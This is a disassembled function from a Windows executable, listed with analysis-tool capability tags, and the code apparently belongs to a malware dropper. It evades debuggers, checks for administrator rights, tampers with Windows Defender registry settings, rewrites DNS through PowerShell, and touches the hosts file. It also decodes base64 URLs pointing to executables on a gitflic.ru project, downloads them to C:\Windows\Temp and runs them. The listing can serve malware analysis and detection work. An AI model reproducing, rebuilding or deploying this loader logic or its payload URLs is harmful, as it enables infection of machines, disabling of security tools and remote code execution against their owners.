Function at 0x140002cf0
Capabilities:
Check for debugger via api
Check for peb beingdebugged flag
Create thread
Get token membership

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5a0]
sub rsp, 0x6a0
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x590], rax
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x1400038bf
mov dword [rsp + 0x70], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
je 0x140002d6f
cmp dword [rsp + 0x70], edi
jne 0x1400038bf
mov rax, qword gs:[0x60]
cmp byte [rax + 2], dil
jne 0x1400038bf
mov dword [rbp + 0xf0], 0x100010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
lea rdx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400038bf
cmp qword [rbp + 0x108], rdi
jne 0x1400038bf
cmp qword [rbp + 0x110], rdi
jne 0x1400038bf
cmp qword [rbp + 0x118], rdi
jne 0x1400038bf
cmp qword [rbp + 0x120], rdi
jne 0x1400038bf
cmp qword [rbp + 0x130], rdi
jne 0x1400038bf
call fcn.140002140
test al, al
jne 0x1400038bf
mov dword [rsp + 0x70], edi
mov qword [rsp + 0x68], rdi
mov dword [rsp + 0x78], edi
mov word [rsp + 0x7c], 0x500
lea rax, [rsp + 0x68]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], edi
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x140002e6c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004360
mov rcx, rax
lea rdx, [0x140004520]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140003895
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
test eax, eax
je 0x14000386c
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x70], edi
setne al
test al, al
je 0x140003895
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderSpynet
lea rcx, [rbp - 0x60]
call fcn.140003af0
nop
lea rdx, str.SubmitSamplesConsent
lea rcx, [rbp - 0x80]
call fcn.140003af0
nop
lea rcx, [rbp - 0x60]
call fcn.1400028b0
test al, al
jne 0x1400030c3
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x140002f13
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003142
call fcn.140005b0c
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], di
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x140002f63
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f5e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400031a1
call fcn.140005b0c
call fcn.140002ad0
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderReal_Time_Protection
lea rcx, [rbp - 0x60]
call fcn.140003af0
nop
lea rdx, str.DisableRealtimeMonitoringNotifications
lea rcx, [rbp - 0x80]
call fcn.140003af0
nop
lea rcx, [rbp - 0x60]
call fcn.1400028b0
test al, al
jne 0x1400031a8
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x140002fdb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fd6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000322a
call fcn.140005b0c
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], di
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x14000302b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003026
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003289
call fcn.140005b0c
lea rdx, str.C:ProgramDataMicrosoft_FQL_Server_b3Shared_fqlwriter.exe
lea rcx, [rbp + 0x98]
call fcn.140003af0
nop
lea rdx, str.C:WindowsSystem32driversetchosts
lea rcx, [rbp + 0x78]
call fcn.140003af0
nop
lea rcx, [rbp + 0x98]
call fcn.140001f80
lea rcx, [rbp + 0x78]
call fcn.140001f80
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str._n________Get_NetAdapter__Where_Object____.Status__eq_Up___ForEach_Object__n____________Set_DnsClientServerAddress__InterfaceAlias___.Name__ServerAddresses__1.1.1.1__1.0.0.1__n_________n
lea rcx, [rbp + 0x58]
call fcn.140003af0
nop
lea rcx, [rbp + 0x58]
call fcn.140001290
mov ecx, 8
call fcn.1400057c0
mov r14, rax
lea rax, vtable.InternetChecker.0
mov qword [r14], rax
mov qword [rbp + 0x38], r14
mov rcx, r14
mov rax, qword [vtable.InternetChecker.0]
call rax
test al, al
jne 0x140003290
mov edi, 1
jmp 0x140003785
xor r8d, r8d
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.140002990
test al, al
jne 0x1400030e7
lea rdx, [0x140007e10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
jmp 0x1400030f5
lea rdx, [0x140007e80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140003ed0
lea rdx, [0x1400040b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x14000314e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003149
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003149
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005b0c
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], di
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x140002f63
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f5e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f5e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r8d, 1
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.140002990
test al, al
jne 0x1400031cf
lea rdx, [0x1400080a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
jmp 0x1400031dd
lea rdx, [0x140008120]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140003ed0
lea rdx, [0x1400040b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x140003236
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003231
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003231
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005b0c
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], di
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x14000302b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003026
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003026
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov ecx, 0x90
call fcn.1400057c0
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x50], 0x80
mov qword [rbp - 0x48], 0x8f
movaps xmm0, xmmword [str.aHR0cHM6Ly9naXRmbGljLnJ1L3Byb2plY3QvZGhnYmh2YmtzZDM0L2ZlcXdmd2MzNGhoNzU2NTc0L2Jsb2IvcmF3P2ZpbGU9QUlEQTY0JTIwNy40MC43MTAwLmV4ZQ]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400084f0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140008500]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140008510]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140008520]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140008530]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x140008540]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x140008550]
movups xmmword [rax + 0x70], xmm1
mov byte [rax + 0x80], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov ecx, 0x80
call fcn.1400057c0
mov rcx, rax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x18], 0x74
mov qword [rbp - 0x10], 0x7f
movaps xmm0, xmmword [str.aHR0cHM6Ly9naXRmbGljLnJ1L3Byb2plY3QvZGhnYmh2YmtzZDM0L2ZlcXdmd2MzNGhoNzU2NTc0L2Jsb2IvcmF3P2ZpbGU9ZnFsd3JpdGVyLmV4ZQ]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140008580]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140008590]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400085a0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400085b0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400085c0]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1400085d0]
movups xmmword [rax + 0x60], xmm0
mov eax, dword [0x1400085e0]
mov dword [rcx + 0x70], eax
mov byte [rcx + 0x74], 0
mov ecx, 8
call fcn.1400057c0
mov r12, rax
lea rax, vtable.Base64Decoder.0
mov qword [r12], rax
mov qword [rbp + 0x40], r12
mov ecx, 8
call fcn.1400057c0
mov r13, rax
lea rax, vtable.FileDownloader.0
mov qword [r13], rax
mov qword [rbp + 0x48], r13
mov ecx, 8
call fcn.1400057c0
mov rbx, rax
mov qword [rsp + 0x60], rax
lea rax, vtable.FileExecutor.0
mov qword [rbx], rax
mov qword [rbp + 0x50], rbx
lea rdx, str.C:WindowsTemp_file1.exe
lea rcx, [rbp + 0x18]
call fcn.140003af0
nop
lea rdx, str.C:WindowsTemp_file2.exe
lea rcx, [rbp - 8]
call fcn.140003af0
nop
lea rcx, [rbp + 0x18]
call fcn.140001f80
lea rcx, [rbp - 8]
call fcn.140001f80
call fcn.140001eb0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
mov qword [rbp - 0x30], rdi
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x78], r13
mov qword [rsp + 0x70], r12
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x18]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x60]
xor edx, edx
lea rcx, [rbp - 0x40]
call fcn.140004d30
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x78], r13
mov qword [rsp + 0x70], r12
mov r15, qword [rbp - 0x38]
cmp r15, qword [rbp - 0x30]
je 0x140003526
mov ecx, 0x60
call fcn.1400057c0
mov rbx, rax
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 8]
lea r8, [rbp - 0x28]
mov rcx, rbx
call fcn.1400054d0
lea rax, [0x140002540]
mov qword [rbx + 0x58], rax
mov qword [rbp - 0x80], rbx
lea rsi, [r15 + 8]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], edi
mov r9, rbx
lea r8, [0x140005480]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [r15], rax
test rax, rax
je 0x140003518
mov rsi, qword [rbp - 0x38]
add rsi, 0x10
mov qword [rbp - 0x38], rsi
jmp 0x140003561
mov dword [rsi], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x28]
mov rdx, r15
lea rcx, [rbp - 0x40]
call fcn.140004d30
mov rsi, qword [rbp - 0x38]
mov rbx, qword [rbp - 0x40]
cmp rbx, rsi
je 0x1400035af
nop word [rax + rax]
cmp dword [rbx + 8], 0
je 0x14000362a
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbx + 8], eax
je 0x14000361e
movups xmm0, xmmword [rbx]
movaps xmmword [rbp - 0x80], xmm0
xor edx, edx
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x140003612
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
add rbx, 0x10
cmp rbx, rsi
jne 0x140003570
call fcn.140001eb0
nop
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x14000364e
mov rax, rcx
mov rdx, qword [rbp - 0x38]
cmp rcx, rdx
je 0x1400035df
nop
cmp dword [rax + 8], 0
jne 0x140003636
add rax, 0x10
cmp rax, rdx
jne 0x1400035d0
mov rdx, qword [rbp - 0x30]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000363d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000363d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call fcn.140005b0c
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rdi
mov rdx, qword [rbp + 0x10]
cmp rdx, 7
jbe 0x140003692
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000368c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000368c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005b0c
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 7
jbe 0x1400036d6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400036d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005b0c
nop
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
mov edx, 1
call qword [rax + 8]
nop
mov rax, qword [r13]
mov edx, 1
mov rcx, r13
call qword [rax + 8]
nop
mov rax, qword [r12]
mov edx, 1
mov rcx, r12
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140003746
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003740
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003740
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005b0c
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140003785
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000377f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000377f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005b0c
nop
mov rax, qword [r14]
mov edx, 1
mov rcx, r14
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x70]
cmp rdx, 7
jbe 0x1400037d8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400037d2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005b0c
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, 7
jbe 0x14000381f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003819
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003819
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005b0c
nop
mov rdx, qword [rbp + 0xb0]
cmp rdx, 7
jbe 0x140003868
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003863
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003863
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005b0c
mov eax, edi
jmp 0x1400038c1
call qword [sym.imp.ADVAPI32.dll_FreeSid]
lea rdx, [0x1400081b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140003ed0
mov rcx, rax
lea rdx, [0x1400040b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, [0x140008210]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140003ed0
mov rcx, rax
lea rdx, [0x1400040b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov eax, 1
jmp 0x1400038c1
xor eax, eax
mov rcx, qword [rbp + 0x590]
xor rcx, rsp
call fcn.140005680
lea r11, [rsp + 0x6a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret